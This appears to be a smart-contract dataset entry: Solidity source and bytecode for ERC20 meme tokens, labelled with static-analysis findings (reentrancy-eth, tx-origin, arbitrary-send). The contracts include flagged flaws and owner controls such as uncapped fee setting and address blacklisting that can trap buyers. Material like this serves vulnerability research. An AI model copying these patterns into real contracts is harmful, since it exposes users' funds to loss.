require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 5000000001 * 10**9; // .5% _maxHeldTokens = 30000000000 * 10**9; // 3% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _FeeAddress1); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb61461056f578063dcb0e0ad14610584578063dd62ed3e146105a4578063e8078d94146105ea57600080fd5b8063a9059cbb1461050f578063b2131f7d1461052f578063c3c8cd8014610545578063c9567bf91461055a57600080fd5b8063715018a6116100d1578063715018a61461048c5780638da5cb5b146104a157806394b8d8f2146104bf57806395d89b41146104df57600080fd5b80635090161714610421578063590f897e146104415780636fc3eaec1461045757806370a082311461046c57600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103ab57806340b9a54b146103cb57806345596e2e146103e157806349bd5a5e1461040157600080fd5b806327f3a72a14610321578063313ce5671461033657806332d873d81461035d578063367c55441461037357600080fd5b80630b78f9c0116101b65780630b78f9c0146102af57806318160ddd146102cf5780631940d020146102eb57806323b872dd1461030157600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f61461025d578063095ea7b31461027f57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102506040518060400160405280600881526020016748616e6162696b6f60c01b81525081565b6040516102139190611928565b34801561026957600080fd5b5061027d610278366004611992565b6105ff565b005b34801561028b57600080fd5b5061029f61029a3660046119af565b610674565b6040519015158152602001610213565b3480156102bb57600080fd5b5061027d6102ca3660046119db565b61068a565b3480156102db57600080fd5b50683635c9adc5dea00000610209565b3480156102f757600080fd5b50610209600e5481565b34801561030d57600080fd5b5061029f61031c3660046119fd565b6106f1565b34801561032d57600080fd5b506102096107d9565b34801561034257600080fd5b5061034b600981565b60405160ff9091168152602001610213565b34801561036957600080fd5b50610209600f5481565b34801561037f57600080fd5b50600854610393906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103b757600080fd5b50600754610393906001600160a01b031681565b3480156103d757600080fd5b50610209600a5481565b3480156103ed57600080fd5b5061027d6103fc366004611a3e565b6107e9565b34801561040d57600080fd5b50600954610393906001600160a01b031681565b34801561042d57600080fd5b5061027d61043c366004611992565b610883565b34801561044d57600080fd5b50610209600b5481565b34801561046357600080fd5b5061027d6108f1565b34801561047857600080fd5b50610209610487366004611992565b61091e565b34801561049857600080fd5b5061027d610939565b3480156104ad57600080fd5b506000546001600160a01b0316610393565b3480156104cb57600080fd5b5060105461029f9062010000900460ff1681565b3480156104eb57600080fd5b50610250604051806040016040528060048152602001634b4f4b4f60e01b81525081565b34801561051b57600080fd5b5061029f61052a3660046119af565b6109ad565b34801561053b57600080fd5b50610209600c5481565b34801561055157600080fd5b5061027d6109ba565b34801561056657600080fd5b5061027d6109f0565b34801561057b57600080fd5b50610209610a93565b34801561059057600080fd5b5061027d61059f366004611a65565b610aab565b3480156105b057600080fd5b506102096105bf366004611a82565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061027d610b1e565b6007546001600160a01b0316336001600160a01b03161461061f57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610681338484610e69565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106aa57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561071f57506001600160a01b03831660009081526004602052604090205460ff16155b801561073857506009546001600160a01b038581169116145b15610787576001600160a01b03831632146107875760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b610792848484610f8d565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107c1908490611ad1565b90506107ce853383610e69565b506001949350505050565b60006107e43061091e565b905090565b6007546001600160a01b0316336001600160a01b03161461080957600080fd5b6000811161084e5760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b604482015260640161077e565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610669565b6008546001600160a01b0316336001600160a01b0316146108a357600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610669565b6007546001600160a01b0316336001600160a01b03161461091157600080fd5b4761091b81611587565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161077e90611ae8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610681338484610f8d565b6007546001600160a01b0316336001600160a01b0316146109da57600080fd5b60006109e53061091e565b905061091b8161160c565b6000546001600160a01b03163314610a1a5760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610a675760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b6010805460ff1916600117905542600f556745639182808eca00600d556801a055690d9db80000600e55565b6009546000906107e4906001600160a01b031661091e565b6007546001600160a01b0316336001600160a01b031614610acb57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610669565b6000546001600160a01b03163314610b485760405162461bcd60e51b815260040161077e90611ae8565b60105460ff1615610b955760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161077e565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bd23082683635c9adc5dea00000610e69565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c349190611b1d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca59190611b1d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d169190611b1d565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d468161091e565b600080610d5b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dc3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610de89190611b3a565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e659190611b68565b5050565b6001600160a01b038316610ecb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161077e565b6001600160a01b038216610f2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161077e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161077e565b6001600160a01b0382166110535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161077e565b600081116110b55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161077e565b600080546001600160a01b038581169116148015906110e257506000546001600160a01b03848116911614155b15611528576009546001600160a01b03858116911614801561111257506006546001600160a01b03848116911614155b801561113757506001600160a01b03831660009081526004602052604090205460ff16155b156113c45760105460ff1661118e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161077e565b600f544214156111ce5760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b604482015260640161077e565b42600f54610e106111df9190611b85565b111561125957600e546111f18461091e565b6111fb9084611b85565b11156112595760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161077e565b6001600160a01b03831660009081526005602052604090206001015460ff166112c1576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112d19190611b85565b11156113a557600d548211156113295760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161077e565b61133442601e611b85565b6001600160a01b038416600090815260056020526040902054106113a55760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161077e565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113de575060105460ff165b80156113f857506009546001600160a01b03858116911614155b156115285761140842600f611b85565b6001600160a01b0385166000908152600560205260409020541061147a5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161077e565b60006114853061091e565b905080156115115760105462010000900460ff161561150857600c54600954606491906114ba906001600160a01b031661091e565b6114c49190611b9d565b6114ce9190611bbc565b81111561150857600c54600954606491906114f1906001600160a01b031661091e565b6114fb9190611b9d565b6115059190611bbc565b90505b6115118161160c565b4780156115215761152147611587565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061156a57506001600160a01b03841660009081526004602052604090205460ff165b15611573575060005b6115808585858486611780565b5050505050565b6007546001600160a01b03166108fc6115a1600284611bbc565b6040518115909202916000818181858888f193505050501580156115c9573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115e4600284611bbc565b6040518115909202916000818181858888f19350505050158015610e65573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165057611650611bde565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cd9190611b1d565b816001815181106116e0576116e0611bde565b6001600160a01b0392831660209182029290920101526006546117069130911684610e69565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061173f908590600090869030904290600401611bf4565b600060405180830381600087803b15801561175957600080fd5b505af115801561176d573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061178c83836117a2565b905061179a868686846117e9565b505050505050565b60008083156117e25782156117ba5750600a546117e2565b50600b54600f546117cd90610e10611b85565b4210156117e2576117df600d82611b85565b90505b9392505050565b6000806117f684846118c6565b6001600160a01b038816600090815260026020526040902054919350915061181f908590611ad1565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461184f908390611b85565b6001600160a01b038616600090815260026020526040902055611871816118fa565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118b691815260200190565b60405180910390a3505050505050565b6000808060646118d68587611b9d565b6118e09190611bbc565b905060006118ee8287611ad1565b96919550909350505050565b30600090815260026020526040902054611915908290611b85565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195557858101830151858201604001528201611939565b81811115611967576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461091b57600080fd5b6000602082840312156119a457600080fd5b81356117e28161197d565b600080604083850312156119c257600080fd5b82356119cd8161197d565b946020939093013593505050565b600080604083850312156119ee57600080fd5b50508035926020909101359150565b600080600060608486031215611a1257600080fd5b8335611a1d8161197d565b92506020840135611a2d8161197d565b929592945050506040919091013590565b600060208284031215611a5057600080fd5b5035919050565b801515811461091b57600080fd5b600060208284031215611a7757600080fd5b81356117e281611a57565b60008060408385031215611a9557600080fd5b8235611aa08161197d565b91506020830135611ab08161197d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ae357611ae3611abb565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b2f57600080fd5b81516117e28161197d565b600080600060608486031215611b4f57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b7a57600080fd5b81516117e281611a57565b60008219821115611b9857611b98611abb565b500190565b6000816000190483118215151615611bb757611bb7611abb565b500290565b600082611bd957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c445784516001600160a01b031683529383019391830191600101611c1f565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220fd1d20899190c2c211a550f6bf3db04beecd446789b46c8ed8feed5f194f694564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,155
0x1161ab960eb935bd5ad3e63fcda5aa53f114cb75
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ //Telegram - https://t.me/DogeverseETH //Twitter - https://twitter.com/DogeverseETH //website - https://dogeverse.to // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Dogeverse is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dogerverse"; string private constant _symbol = "DOGEVERSE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 2000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0b142774E927Caa365dFFEb85CEB5073149c1991); address payable private _marketingAddress = payable(0x0b142774E927Caa365dFFEb85CEB5073149c1991); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000 * 10**9; uint256 public _maxWalletSize = 40000000000 * 10**9; uint256 public _swapTokensAtAmount = 20000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBot(address bot) public onlyOwner { bots[bot] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000) { _maxTxAmount = maxTxAmount * 10**9; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { if (maxWalletSize > 5000000000) { _maxWalletSize = maxWalletSize * 10**9;} } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d15760003560e01c80637f2feddc116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e1461055c578063e70ef8a4146105a2578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a9059cbb146104d7578063bfd79284146104f7578063c3c8cd8014610527578063c492f0461461053c57600080fd5b80638f9a55c0116100d15780638f9a55c01461044f57806395d89b411461046557806398a5c31514610497578063a2a957bb146104b757600080fd5b80637f2feddc146103e45780638da5cb5b146104115780638f70ccf71461042f57600080fd5b806349bd5a5e1161016f57806370a082311161013e57806370a0823114610379578063715018a61461039957806374010ece146103ae5780637d1db4a5146103ce57600080fd5b806349bd5a5e146103025780636b999053146103225780636d8aa8f8146103445780636fc3eaec1461036457600080fd5b806318160ddd116101ab57806318160ddd1461028a57806323b872dd146102b05780632fd689e3146102d0578063313ce567146102e657600080fd5b806306fdde03146101dd578063095ea7b3146102225780631694505e1461025257600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600a815269446f676572766572736560b01b60208201525b6040516102199190611a74565b60405180910390f35b34801561022e57600080fd5b5061024261023d366004611ade565b610602565b6040519015158152602001610219565b34801561025e57600080fd5b50601454610272906001600160a01b031681565b6040516001600160a01b039091168152602001610219565b34801561029657600080fd5b50686c6b935b8bbd4000005b604051908152602001610219565b3480156102bc57600080fd5b506102426102cb366004611b0a565b610619565b3480156102dc57600080fd5b506102a260185481565b3480156102f257600080fd5b5060405160098152602001610219565b34801561030e57600080fd5b50601554610272906001600160a01b031681565b34801561032e57600080fd5b5061034261033d366004611b4b565b610682565b005b34801561035057600080fd5b5061034261035f366004611b7d565b6106d6565b34801561037057600080fd5b5061034261071e565b34801561038557600080fd5b506102a2610394366004611b4b565b610769565b3480156103a557600080fd5b5061034261078b565b3480156103ba57600080fd5b506103426103c9366004611b98565b6107ff565b3480156103da57600080fd5b506102a260165481565b3480156103f057600080fd5b506102a26103ff366004611b4b565b60116020526000908152604090205481565b34801561041d57600080fd5b506000546001600160a01b0316610272565b34801561043b57600080fd5b5061034261044a366004611b7d565b61084a565b34801561045b57600080fd5b506102a260175481565b34801561047157600080fd5b50604080518082019091526009815268444f4745564552534560b81b602082015261020c565b3480156104a357600080fd5b506103426104b2366004611b98565b610892565b3480156104c357600080fd5b506103426104d2366004611bb1565b6108c1565b3480156104e357600080fd5b506102426104f2366004611ade565b610a77565b34801561050357600080fd5b50610242610512366004611b4b565b60106020526000908152604090205460ff1681565b34801561053357600080fd5b50610342610a84565b34801561054857600080fd5b50610342610557366004611be3565b610ad8565b34801561056857600080fd5b506102a2610577366004611c67565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ae57600080fd5b506103426105bd366004611b4b565b610b79565b3480156105ce57600080fd5b506103426105dd366004611b98565b610bc7565b3480156105ee57600080fd5b506103426105fd366004611b4b565b610c12565b600061060f338484610cfc565b5060015b92915050565b6000610626848484610e20565b6106788433610673856040518060600160405